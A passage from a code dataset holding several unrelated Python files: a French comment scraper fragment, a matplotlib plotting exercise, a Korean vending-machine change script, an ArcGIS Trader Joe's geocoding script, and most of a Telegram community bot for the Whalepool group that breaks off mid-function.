Extracted.append (AuteursCommentaire)\n Extracted.append (ProfessionAuteursCommentaire)\n Extracted.append (DateCommentaire)\n \n \n #resume du commentaire\n try :\n Commentaire = clear_text (str (child.find (\"div\" , {\"class\" : \"correction\"})))\n except AttributeError : \n continue \n Extracted.append (Commentaire)\n\n #corps du commentaire \n Corps =(child.find (\"div\" , {\"class\" : \"texte\"} ))\n text = str (clear_text(str (Corps)))\n ArSuggRcours=[]\n liensverslois=[]\n ArSuggNoRcours = []\n\n for paragraphe in Corps.find_all('p'):\n # article de la meme categorie que larticle en cours \n if (\">LIRE:\") in str (paragraphe) : \n for m in paragraphe.find_all('a'):\n ArSuggRcours.append( str (m.get('href')))\n ArSuggRcours.append(clear_text (str(m)))\n\n #article sans aucune relation avec l'article en cours \n if (\"À LIRE \") not in str (paragraphe): \n data = paragraphe.find_all('a') \n for m in data:\n liensverslois.append(str (m.get('href')))\n liensverslois.append (clear_text (str(m)))\n #les liens vers des loi qui sont en relation avec larticle en cours \n else:\n for m in paragraphe.find_all('a'):\n ArSuggNoRcours.append (str (m.get('href')))\n ArSuggNoRcours.append (clear_text (str(m)))\n \n \n Extracted.append (text)\n Extracted.append (ArSuggRcours)\n Extracted.append (liensverslois)\n Extracted.append (ArSuggNoRcours)\n Extracted.append(URL)\n \n # on regarse si larticle existe dans le set \n # si il existe on insere pas \n\n if TITRE not in tr :\n Extracted_All.append(Extracted) \n\n tr.add (TITRE)\n \n return Extracted_All\n\n","sub_path":"pipeline/Extracter.py","file_name":"Extracter.py","file_ext":"py","file_size_in_byte":10248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"305934052","text":"\"\"\"\n@author:Liushihao\n@time:2020/4/27:16:33\n@email:Liushihao_1224@163.com\n@describe:使用Matplotlib库绘制 y = 2x+1 和 y=x^2 的图形,并设置坐标轴的名称和图例。\n\"\"\"\nimport numpy as np\nfrom matplotlib import pyplot as plt\nx = np.arange(-5, 5.01, 0.01)\ny1 = 2 * x + 1\ny2 = x*x\n\nfig, ax = plt.subplots()\nline1, = ax.plot(x,y1)\nline2, = ax.plot(x, y2)\nax.legend((line1, line2), (\"y1=2x+1\", \"y2=x^2\"))\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.title(\"y=2x+1 and y=x^2\")\nplt.show()\n","sub_path":"chapter7/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"235935325","text":"#자판기\n\nunit = [50000,10000,5000,1000,500,100,50,10,1]\nmenu = [[\"보리차\",1800],[\"막걸리\",2000],[\"파전\",3000],[\"스파게티\",6000],[\"산삼\",200000000],[\"돈가츠\",8000]]\nfor i in menu:\n print(\"{:>6}\\t: {}원\".format(i[0],i[1]))\nmoney = int(input(\"지폐를 넣어주세요 : \"))\n\ndef Changes(money):\n for i in unit:\n a, money = divmod(money,i)\n if a != 0:\n print(str(i)+\"원\\t:\",a,\"개\")\n\nsel_menu = menu[int(input(\"번호를 선택하세요 : \"))-1]\namount = int(input(\"수량을 선택하세요 : \"))\n\nif money >= sel_menu[1] * amount:\n print(sel_menu[0],\"상품을\", str(amount)+\"개 내보냈어요.\")\n money -= sel_menu[1]*amount\n if money>0:\n print(\"잔돈 : \",money,\"원\")\n Changes(money)\nelse:\n print(\"잔액이 부족하여 반환합니다..\\n잔돈\",money,\"원\")\n Changes(money)\n\n ","sub_path":"W3/W3D1/test8.py","file_name":"test8.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"564455080","text":"import pandas as pd\nfrom arcgis.gis import GIS\nfrom arcgis.geocoding import geocode\n\n# Read data from CSV files\ncsv1_path = \"data_sets/illinois_ZIP.csv\"\n\n# Read in zipCode data\nprop_df = pd.read_csv(csv1_path)\nprop_df = pd.DataFrame(prop_df)\n\n# Only view zip codes in Cook County\nprop_df = prop_df[prop_df['County'] == \"Cook\"]\nprint(\"Number of rows is \" + str(prop_df.shape[0]))\n\n# Find unique zip codes (219)\nuniqueZip = prop_df['Zip Code'].unique()\n\nn = len(uniqueZip)\n\n# Print\nprint(\"Total number of rows: \" + str(n) + \"\\n\")\n\n# Initialize List\nlistedList = []\n# Initiate GIS service\ngis = GIS()\n\n# Loop through all zip codes in Cook County and save unique items with geocode\nfor id in range(n):\n yourZip = geocode(str(uniqueZip[id]))[0]\n searchedItem = geocode(\"Trader Joe's\", yourZip['extent'], max_locations=1000)\n print(\"ID - \" + str(id), end=\" : \")\n print(\"ZIPCODE - \" + str(uniqueZip[id]), end=\" : \")\n print(\"NUM - \" + str(len(searchedItem)))\n for item2 in range(len(searchedItem)):\n listedList.append({\"ADDRESS\":searchedItem[item2]['attributes']['Place_addr'],\n \"PHONE\": searchedItem[item2]['attributes']['Phone'],\n \"POSTAL\": searchedItem[item2]['attributes']['Postal'],\n \"LONGITUDE\":searchedItem[item2]['location']['x'],\n \"LATITUDE\":searchedItem[item2]['location']['y']})\n\nlistedList = pd.DataFrame(listedList)\nprint(listedList)\nprint(len(listedList))\nprint(listedList.head())\nprint(\"\\n\")\n\nprint(listedList.shape)\n# Find if there are duplicates (by ADDRESS)\ndup_index = listedList.duplicated([\"ADDRESS\"])\nprop_dup = listedList[dup_index]\nprint(prop_dup.shape)\n\nlistedList.drop_duplicates(subset=['ADDRESS'],inplace=True)\nprint(listedList.shape)\n\n# Write the new cleaned dataset to directory\ncsv2_path = \"data_sets/traderJoes.csv\"\nlistedList.to_csv(csv2_path,index=False)\n\n","sub_path":"project/old_code/01__get_TraderJoe_data.py","file_name":"01__get_TraderJoe_data.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"543729630","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# A Simple way to send a message to telegram\nimport datetime\nimport json\nimport logging\nimport os\nimport random\nimport re\nimport sys\nfrom functools import wraps\nfrom pathlib import Path\nfrom pprint import pprint\n\nimport matplotlib\nimport numpy as np\n# For plotting messages / price charts\nimport pandas as pd\nimport requests\nimport telegram\nimport yaml\nfrom PIL import Image\nfrom dateutil.relativedelta import relativedelta\nfrom pymongo import MongoClient\nfrom telegram import MessageEntity\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nfrom wordcloud import WordCloud, STOPWORDS\n\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom matplotlib.lines import Line2D\nfrom matplotlib.patches import Rectangle\n\nimport talib as ta\n\nPATH = os.path.dirname(os.path.abspath(__file__))\n\n\"\"\"\n# Configure Logging\n\"\"\"\nFORMAT = '%(asctime)s -- %(levelname)s -- %(module)s %(lineno)d -- %(message)s'\nlogging.basicConfig(level=logging.INFO, format=FORMAT)\nlogger = logging.getLogger('root')\nlogger.info(\"Running \"+sys.argv[0])\n\n\n\"\"\"\n# Mongodb \n\"\"\"\nclient = MongoClient('mongodb://localhost:27017')\ndb = client.natalia_tg_bot\ndb.softlog.insert({'comment' : 'Natalia started', 'timestamp' :datetime.datetime.utcnow()})\n\n\n\"\"\"\n# Load the config file\n# Set the Botname / Token\n\"\"\"\nconfig_file = PATH+'/config.yaml'\nmy_file = Path(config_file)\nif my_file.is_file():\n\twith open(config_file) as fp:\n\t\tconfig = yaml.load(fp)\nelse:\n\tpprint('config.yaml file does not exists. Please make one from config.sample.yaml file')\n\tsys.exit()\n\n\nBOTNAME = config['NATALIA_BOT_USERNAME']\nTELEGRAM_BOT_TOKEN = config['NATALIA_BOT_TOKEN']\nFORWARD_PRIVATE_MESSAGES_TO = config['BOT_OWNER_ID'] \nADMINS = config['ADMINS']\n\nEXTRA_STOPWORDS = config['WORDCLOUD_STOPWORDS']\nFORWARD_URLS = r\"\"+config['FORWARD_URLS']\nSHILL_DETECTOR = r\"\"+config['SHILL_DETECTOR']\nCOUNTER_SHILL = []\n\nfor s in config['COUNTER_SHILL']:\n\tCOUNTER_SHILL.append({\n\t'title': s['title'],\n\t'regex': r\"\"+s['match'],\n\t'link' : s['link']\n\t})\n\nADMINS_JSON = config['MESSAGES']['admins_json']\n\n# Feed the messages from the config file\nMESSAGES = {}\nfor MESSAGE in config['MESSAGES']:\n\tMESSAGES[MESSAGE] = config['MESSAGES'][MESSAGE]\nlogger.info(\"Configured messages :\")\nlogger.info(MESSAGES)\n\n# Feed rooms from the config file \nROOMS = {}\nLOG_ROOMS = []\n# For each room from the config\nfor ROOM_ITEM in config['ROOMS']:\n\t# For each variable of the room\n\tfor ROOM_VAR_KEY in ROOM_ITEM:\n\t\t# Create the room in the dict\n\t\tif ROOM_VAR_KEY == 'name':\n\t\t\troom_name = ROOM_ITEM[ROOM_VAR_KEY]\n\t\t\tROOMS[room_name] = ROOM_ITEM\n\t\t# Add the room to logged_rooms is needed\n\t\tif ROOM_VAR_KEY == 'is_log' and ROOM_ITEM[ROOM_VAR_KEY] == 1:\n\t\t\tLOG_ROOMS.append(room_name)\n\t\t# Add the Room Variable from the config to the Room in our dict\n\t\tROOMS[room_name][ROOM_VAR_KEY] = ROOM_ITEM[ROOM_VAR_KEY]\nlogger.info(\"Configured rooms :\")\nlogger.info(ROOMS)\n\n#################################\n# Begin bot.. \n\nbot = telegram.Bot(token=TELEGRAM_BOT_TOKEN)\n\n# Bot error handler\ndef error(bot, update, error):\n\tlogger.warn('Update \"%s\" caused error \"%s\"' % (update, error))\n\n# Restrict bot functions to admins\ndef restricted(func):\n\t@wraps(func)\n\tdef wrapped(bot, update, *args, **kwargs):\n\t\tuser_id = update.effective_user.id\n\t\tif user_id not in ADMINS:\n\t\t\tprint(\"Unauthorized access denied for {}.\".format(user_id))\n\t\t\treturn\n\t\treturn func(bot, update, *args, **kwargs)\n\treturn wrapped\n\n#################################\n# UTILS \n\n# Resolve message data to a readable name \ndef get_name(user):\n\ttry:\n\t\tname = user.first_name\n\texcept (NameError, AttributeError):\n\t\ttry:\n\t\t\tname = user.username\n\t\texcept (NameError, AttributeError):\n\t\t\terror(\"No username or first name.. wtf\")\n\t\t\treturn \"\"\n\treturn name\n\n# Returns the ROOM object for an id \ndef get_room(room_id):\n\tfor ROOM in ROOMS:\n\t\tif ROOMS[ROOM]['id'] == str(room_id):\n\t\t\treturn ROOMS[ROOM]\n\terror('No room matching the given id')\n\treturn False\n\ndef get_room_for_property(room_property):\n\tfor ROOM in ROOMS:\n\t\tif ROOMS[ROOM][room_property] == 1:\n\t\t\treturn ROOMS[ROOM]\n\terror('No room matching the given property :' + room_property )\n\treturn False\n\n\ndef get_rooms_for_property(room_property):\n\tVALID_ROOMS = []\n\tfor ROOM in ROOMS:\n\t\tif ROOMS[ROOM][room_property] == 1:\n\t\t\tVALID_ROOMS.append(ROOMS[ROOM])\n\n\tif (VALID_ROOMS.length > 0):\n\t\treturn VALID_ROOMS\n\telse :\n\t\terror('No room matching the given property :' + room_property )\n\t\treturn False\n\n#################################\n# BEGIN BOT COMMANDS \n\n# Returns the user their user id \ndef getid(bot, update):\n\tpprint(update.message.chat.__dict__, indent=4)\n\tupdate.message.reply_text(str(update.message.chat.first_name)+\" :: \"+str(update.message.chat.id))\n\n# Welcome message \ndef start(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tuser_id = update.message.from_user.id \n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/start - \"+name)\n\n\tpprint(update.message.chat.type)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['rules']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'start', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tmsg = bot.sendMessage(chat_id=room['id'], text=(MESSAGES['start'] % name),parse_mode=\"Markdown\",disable_web_page_preview=1)\n\n\t\tif user_id in ADMINS:\n\t\t\tmsg = bot.sendMessage(chat_id=room['id'], text=(MESSAGES['admin_start'] % name),parse_mode=\"Markdown\",disable_web_page_preview=1)\n\n\ndef about(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/about - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['about']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'about', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\n\ndef rules(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/rules - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['rules']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'rules', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\n\ndef admins(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/admins - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = \"*Whalepool Admins*\\n\\n\"\n\t\tkeys = list(ADMINS_JSON.keys())\n\t\trandom.shuffle(keys)\n\t\tfor k in keys: \n\t\t\tmsg += \"\"+k+\"\\n\"\n\t\t\tmsg += ADMINS_JSON[k]['adminOf']+\"\\n\"\n\t\t\tmsg += \"_\"+ADMINS_JSON[k]['about']+\"_\"\n\t\t\tmsg += \"\\n\\n\"\n\t\tmsg += \"/start - to go back to home\"\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'admins', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\n\ndef teamspeak(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/teamspeak - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['teamspeak']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'teamspeak', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendSticker(chat_id=room['id'], sticker=\"CAADBAADqgIAAndCvAiTIPeFFHKWJQI\", disable_notification=False)\n\t\tbot.sendMessage(chat_id=room['id'], text=msg,parse_mode=\"Markdown\", disable_web_page_preview=1) \n\n\ndef teamspeakbadges(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/teamspeakbadges - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['teamspeakbadges']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'teamspeakbadges', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\n\t\t\ndef telegram(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/telegram - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['telegram']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'telegram', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\n\ndef livestream(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/livestream - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['livestream']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'livestream', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendSticker(chat_id=room['id'], sticker=\"CAADBAADcwIAAndCvAgUN488HGNlggI\", disable_notification=False)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\n\ndef fomobot(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/fomobot - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['fomobot']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'fomobot', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\n\ndef exchanges(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/exchanges - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\t\tmsg = MESSAGES['exchanges']\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'exchanges', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,parse_mode=\"Markdown\",disable_web_page_preview=1) \n\t\t# bot.forwardMessage(chat_id=WP_ADMIN, from_chat_id=chat_id, message_id=message_id)\n\n\ndef donation(bot, update):\n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\tmessage_id = update.message.message_id\n\tname = get_name(update.message.from_user)\n\tlogger.info(\"/donation - \"+name)\n\n\tif (update.message.chat.type == 'group') or (update.message.chat.type == 'supergroup'):\n\t\tmsg = random.choice(MESSAGES['pmme']) % (name)\n\t\tbot.sendMessage(chat_id=room['id'],text=msg,reply_to_message_id=message_id, parse_mode=\"Markdown\",disable_web_page_preview=1) \n\telse:\n\n\t\ttimestamp = datetime.datetime.utcnow()\n\t\tinfo = { 'user_id': user_id, 'request': 'donation', 'timestamp': timestamp }\n\t\tdb.pm_requests.insert(info)\n\n\t\tbot.sendPhoto(chat_id=room['id'], photo=\"AgADBAADlasxG4uhCVPAkVD5G4AaXgtKXhkABL8N5jNhPaj1-n8CAAEC\",caption=\"Donations by bitcoin to: 175oRbKiLtdY7RVC8hSX7KD69WQs8PcRJA\")\n\n\n####################################################\n# ADMIN FUNCTIONS\n\n@restricted\ndef topstickers(bot,update): \n\n\tuser_id = update.message.from_user.id \n\troom = get_room(update.message.chat.id)\n\troom_to_send = get_room_for_property('is_top_stickers')\n\n\tstart = datetime.datetime.today().replace(hour=0,minute=0,second=0)\n\tstart = start - relativedelta(days=3)\n\n\tpipe = [ \n\t\t{ \"$match\": { 'timestamp': {'$gt': start } } }, \n\t\t{ \"$group\": { \"_id\": \"$sticker_id\", \"total\": { \"$sum\": 1 } } }, \n\t\t{ \"$sort\": { \"total\": -1 } }, \n\t\t{ \"$limit\": 3 } \n\t]\n\tstickers = list(db.natalia_stickers.aggregate(pipe))\n\n\tbot.sendMessage(chat_id=room['id'], text=MESSAGES['topstickersWarning'])\n\tbot.sendMessage(chat_id=room_to_send['id'], text=MESSAGES['topstickersStart'])\n\tfor sticker in stickers:\n\t\tbot.sendMessage(chat_id=room_to_send['id'], text=MESSAGES['topstickersCenter'].format(str(sticker['total'])))\n\t\tbot.sendSticker(chat_id=room_to_send['id'], sticker=sticker['_id'], disable_notification=False)\n\t\ttime.sleep(5)\n\tbot.sendMessage(chat_id=room['id'], text=MESSAGES['topstickersEnd'].format(room_to_send['name']))\n\n\n@restricted\ndef topgif(bot,update):\n\n\troom = get_room(update.message.chat.id)\n\troom_to_send = get_room_for_property('is_top_gifs')\n\n\tpipe = [ { \"$group\": { \"_id\": \"$file_id\", \"total\": { \"$sum\": 1 } } }, { \"$sort\": { \"total\": -1 } }, { \"$limit\": 5 } ]\n\tgifs = list(db.natalia_gifs.aggregate(pipe))\n\n\tbot.sendMessage(chat_id=room_to_send['id'], text=MESSAGES['topgifsStart'].format(str(gifs[0]['total'])))\n\tbot.sendSticker(chat_id=room_to_send['id'], sticker=gifs[0]['_id'], disable_notification=False)\n\tbot.sendMessage(chat_id=room['id'], text=MESSAGES['topgifsEnd'].format(room_to_send['name']))\n\n\n@restricted\ndef topgifposters(bot, update):\n\n\troom = get_room(update.message.chat.id)\n\troom_to_send = get_room_for_property('is_top_gifs')\n\n\tpipe = [ { \"$group\": { \"_id\": \"$user_id\", \"total\": { \"$sum\": 1 } } }, { \"$sort\": { \"total\": -1 } }, { \"$limit\": 5 } ]\n\tusers = list(db.natalia_gifs.aggregate(pipe))\n\n\tmsg = MESSAGES['topgifpostersStart'].format(room_to_send['name'])\n\tfor i,u in enumerate(users):\n\n\t\tuser = list(db.users.find({ 'user_id': u['_id'] }))\n\t\tif len(user) > 0:\n\t\t\tuser = user[0]\n\t\t\tmsg += MESSAGES['topgifpostersCenter'].format(str(i+1), user['name'], str(u['total']))\n\n\tmsg = bot.sendMessage(chat_id=room_to_send['id'], text=msg )\n\tbot.forwardMessage(chat_id=room['id'], from_chat_id=room_to_send['id'], message_id=msg.message_id)\n\tbot.sendMessage(chat_id=room['id'], text= MESSAGES['topgifpostersCenter'].format(room_to_send['name']))\n\n\n@restricted\ndef todayinwords(bot, update):\n\n\troom = get_room(update.message.chat.id)\n\troom_to_send = get_room_for_property('is_wordcloud')\n\n\tlogger.info(\"Today in words..\")\n\tlogger.info(\"Fetching from db...\")\n\n\tstart = datetime.datetime.today().replace(hour=0,minute=0,second=0)\n\tpipe = { '_id': 0, 'message': 1 }\n\tmsgs = list(db.natalia_textmessages.find({ 'timestamp': {'$gt': start } }, pipe ))\n\n\twords = []\n\tfor w in msgs:\n\t\tresults = re.findall(r\"(.*(?=:)): (.*)\", w['message'])[0]\n\t\twords.append(results[1].strip())\n\n\textra_stopwords = EXTRA_STOPWORDS\n\tfor e in extra_stopwords:\n\t\tSTOPWORDS.add(e)\n\n\tstopwords = set(STOPWORDS)\n\n\tlogger.info(\"Building comments pic...\")\n\n\t# Happening today\n\twc = WordCloud(background_color=\"white\", max_words=2000, stopwords=stopwords, relative_scaling=0.2,scale=3)\n\t# generate word cloud\n\twc.generate(' '.join(words))\n\t# store to file\n\tPATH_WORDCLOUD = PATH+\"talkingabout_wordcloud.png\"\n\twc.to_file(PATH_WORDCLOUD)\n\n\tmsg = bot.sendPhoto(chat_id=room_to_send['id'], photo=open(PATH_WORDCLOUD,'rb'), caption=\"Today in a picture\" )\n\tbot.sendMessage(chat_id=room['id'], text=MESSAGES['todayinWords'].format(room_to_send['name']))\n\n\tos.remove(PATH_WORDCLOUD)\n\n\n@restricted\ndef todaysusers(bot, update):\n\troom = get_room(update.message.chat.id)\n\troom_to_send = get_room_for_property('is_todaysusers')\n\n\tbot.sendMessage(chat_id=chat_id, text=\"Okay gimme a second for this one.. it takes some resources..\" )\n\tlogger.info(\"Today users..\")\n\tlogger.info(\"Fetching from db...\")\n\n\tstart = datetime.datetime.today().replace(hour=0,minute=0,second=0)\n\tpipe = { '_id': 0, 'message': 1 }\n\tmsgs = list(db.natalia_textmessages.find({ 'timestamp': {'$gt': start } }, pipe ))\n\n\tusernames = []\n\tfor w in msgs:\n\t\tresults = re.findall(r\"(.*(?=:)): (.*)\", w['message'])[0]\n\t\tusernames.append(results[0].strip())\n\n\textra_stopwords = EXTRA_STOPWORDS\n\tfor e in extra_stopwords:\n\t\tSTOPWORDS.add(e)\n\n\tstopwords = set(STOPWORDS)\n\n\tlogger.info(\"Building usernames pic...\")\n\tPATH_MASK = PATH+\"media/wp_background_mask2.png\"\n\tPATH_BG = PATH+\"media/wp_background.png\"\n\tPATH_USERNAMES = PATH+\"telegram-usernames.png\"\n\n\t# Usernames\n\td = os.path.dirname('__file__')\n\n\tmask = np.array(Image.open(PATH_MASK))\n\n\twc = WordCloud(background_color=None, max_words=2000,mask=mask,colormap='BuPu',\n\t\t\t\t stopwords=stopwords,mode=\"RGBA\", width=800, height=400)\n\twc.generate(' '.join(usernames))\n\twc.to_file(PATH_USERNAMES)\n\n\tlayer1 = Image.open(PATH_BG).convert(\"RGBA\")\n\tlayer2 = Image.open(PATH_USERNAMES).convert(\"RGBA\")\n\n\tImage.alpha_composite(layer1, layer2).save(PATH_USERNAMES)\n\n\tmsg = bot.sendPhoto(chat_id=room_to_send['id'], photo=open(\"telegram-usernames.png\",'rb'), caption=\"Todays Users\" )\n\tbot.sendMessage(chat_id=chat_id, text=\"Posted today in pictures to \"+room_to_send['name'] )\n\n\tos.remove(PATH_USERNAMES)\n\n\n@restricted \ndef promotets(bot, update):\n\n\tpprint('promotets...')\n\n\troom = get_room(update.message.chat.id)\n\tname = get_name(update.message.from_user)\n\tfmsg = re.findall( r\"\\\"(.*?)\\\"\", update.message.text)\n\n\tif len(fmsg) > 0:\n\n\t\tfor room_promotets in get_rooms_for_property('is_promotets'):\n\n\t\t\tmessage = fmsg[0]\n\t\t\tbot.sendSticker(chat_id=r, sticker=\"CAADBAADcwIAAndCvAgUN488HGNlggI\", disable_notification=False)\n\t\t\tmsg = bot.sendMessage(chat_id=room_promotets['id'], parse_mode=\"Markdown\", text=fmsg[0]+\"\\n-------------------\\n*/announcement from \"+name+\"*\" )\n\n\t\t\tif room in get_rooms_for_property('is_promotets_pin'): \n\t\t\t\tbot.pin_chat_message(room_promotets['id'], msg.message_id, disable_notification=True)\n\n\t\t\tbot.sendMessage(chat_id=r, parse_mode=\"Markdown\", text=\"Message me (\"+BOTNAME.replace('_','\\_')+\") - to see details on how to connect to [teamspeak](https://whalepool.io/connect/teamspeak) also listen in to the listream here: livestream.whalepool.io\", disable_web_page_preview=True )\n\t\t\tbot.sendMessage(chat_id=chat_id, parse_mode=\"Markdown\", text=\"Broadcast sent to \"+room_promotets['name'])\n\n\telse:\n\t\tbot.sendMessage(chat_id=room['id'], text=\"Please incldue a message in quotes to spam/shill the teamspeak message\" )\n\n\t \n@restricted\ndef shill(bot, update):\n\n\tchat_id = update.message.chat_id\n\tname = get_name(update.message.from_user)\n\n\tbot.sendMessage(chat_id=WP_ADMIN, parse_mode=\"Markdown\", text=name+\" just shilled\")\n\n\trooms 